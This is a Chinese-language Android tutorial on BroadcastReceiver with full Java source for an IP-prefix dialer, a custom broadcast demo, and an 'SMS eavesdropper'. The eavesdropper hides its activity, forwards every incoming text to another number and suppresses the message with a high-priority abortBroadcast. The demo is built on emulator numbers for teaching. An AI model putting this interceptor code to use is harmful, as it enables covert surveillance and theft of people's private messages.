Android中 廣播BroadcastReceiver
一、IP撥號器
activity_main.xml檔案:
只有一個輸入ip的文字框和一個儲存按鈕,
MainActivity.java
點擊儲存按鈕後執行的程式,將輸入的ip號以SharedPreferences的方式儲存在本地,
package com.itheima.ipdail;import android.os.Bundle;import android.app.Activity;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.view.Menu;import android.view.View;import android.widget.EditText;import android.widget.Toast;public class MainActivity extends Activity {private EditText et_ipnumber;private SharedPreferences sp; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); sp = getSharedPreferences("config", MODE_PRIVATE); et_ipnumber = (EditText) findViewById(R.id.et_ipnumber); } /** * 儲存按鈕對應的點擊事件 * @param view */ public void save(View view){ String ipnumber = et_ipnumber.getText().toString().trim(); Editor editor = sp.edit(); editor.putString("ipnumber", ipnumber); editor.commit(); Toast.makeText(this, "儲存ip號碼完畢", 0).show(); }}
OutCallReceiver.java
廣播接受者,當有撥出電話到來的時候,從本地SharedPreferences中取出IP號,然後和撥出號碼拼接成新字串顯示早撥號介面上,
package com.itheima.ipdail;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.util.Log;/** * 廣播接收者,當有撥出電話到來的時候 會處理這個訊息 * */public class OutCallReceiver extends BroadcastReceiver {private static final String TAG = "OutCallReceiver";private SharedPreferences sp;/** * 當廣播接受者接受到廣播事件的時候調用的方法 */@Overridepublic void onReceive(Context context, Intent intent) {String number = getResultData();Log.i(TAG,"有新的電話打出去了。電話號碼為:"+number);sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);String ipnumber = sp.getString("ipnumber", "");setResultData(ipnumber+number);}}
別忘了在AndroidManifest.xml檔案中添加,
結果:
二、簡訊竊聽器
MainActivity.java
package com.itheima.smslistener;import android.os.Bundle;import android.app.Activity;import android.view.Menu;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);finish();}}
SmsReceiver.java
5556->5554傳送簡訊,利用廣播接受者取出簡訊內容
package com.itheima.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"有新的簡訊到來了。");Object[] objs = (Object[]) intent.getExtras().get("pdus");for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);String sender = smsMessage.getOriginatingAddress();String body = smsMessage.getMessageBody();Log.i(TAG,"簡訊的寄件者:"+sender);Log.i(TAG,"簡訊的內容:"+body);}}}
當SmsReceiver.java改為如下:
類比5558->5554傳送簡訊,當5554接收到簡訊後,自動發送給5556,實現了簡訊竊聽功能,
package com.itheima.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"有新的簡訊到來了。");Object[] objs = (Object[]) intent.getExtras().get("pdus");for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);String sender = smsMessage.getOriginatingAddress();String body = smsMessage.getMessageBody();Log.i(TAG,"簡訊的寄件者:"+sender);Log.i(TAG,"簡訊的內容:"+body);SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);}}}
當SmsReceiver.java改為如下:
5558->5554傳送簡訊,
package com.itheima.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"有新的簡訊到來了。");Object[] objs = (Object[]) intent.getExtras().get("pdus");for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);String sender = smsMessage.getOriginatingAddress();String body = smsMessage.getMessageBody();Log.i(TAG,"簡訊的寄件者:"+sender);Log.i(TAG,"簡訊的內容:"+body);SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);//終止簡訊的廣播事件。abortBroadcast();}}}
在AndroidManifest.xml檔案中添加,
因為廣播接受者優先順序1000,最高,而且廣播接受著終止了簡訊的廣播後續事件,因此5554並為收到簡訊,
但是5556能接收到簡訊,因為在終止廣播事件之前向5556轉寄了,
三、自訂廣播接收者1.自訂發送廣播
acticity_main.xml檔案為,
MainActivity.java檔案為,
package com.itheima.sendbroadcast;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}public void send(View view){Intent intent = new Intent("com.itheima.sendbroadcast.demo");sendBroadcast(intent);}}
2.自訂廣播接收者
acticity_main.xml檔案為空白,
MainActivity.java檔案為空白,
MyBroadcastReceiver.java檔案為,
package com.itheima.myreceiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.widget.Toast;public class MyBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Toast.makeText(context, "我是自訂的廣播接受者,我接受到了自訂訊息", 0).show();}}
在AndroidMainfest.xml檔案中添加如下,